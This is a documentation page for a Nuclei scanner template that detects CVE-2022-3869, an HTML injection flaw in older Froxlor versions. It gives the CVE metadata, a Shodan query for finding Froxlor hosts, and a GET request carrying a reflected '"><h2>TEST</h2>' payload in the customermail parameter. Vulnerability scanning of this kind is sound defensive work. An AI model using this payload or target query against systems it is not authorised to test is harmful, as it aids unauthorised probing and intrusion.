Skip to content
Nuclei Templates

Froxlor < 0.10.38.2. - HTML Injection

ID: CVE-2022-3869

Severity: medium

Author: ctflearner

Tags: cve2023,cve,froxlor,html

Description

Section titled “Description”

HTML Injection in GitHub repository froxlor/froxlor prior to 0.10.38.2.

YAML Source

Section titled “YAML Source”
id: CVE-2022-3869


info:
  name: Froxlor < 0.10.38.2. - HTML Injection
  author: ctflearner
  severity: medium
  description: |
    HTML Injection in GitHub repository froxlor/froxlor prior to 0.10.38.2.
  reference:
    - https://huntr.com/bounties/7de20f21-4a9b-445d-ae2b-15ade648900b
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3869
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3869
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Froxlor"
    product: froxlor
  tags: cve2023,cve,froxlor,html


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?showmessage=4&customermail=\"><h2>TEST</h2>"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'The message to ""><h2>TEST</h2>" failed'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 490a0046304402203d612b7100d6556c68fa34778c84101cc6021c1fc3074ee928a2962741a624e9022000f5e27f8550df4dddd2a884f6dae3f5c7a93ff96a6cf39341213cdfcbf02efd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-3869.yaml"

View on Github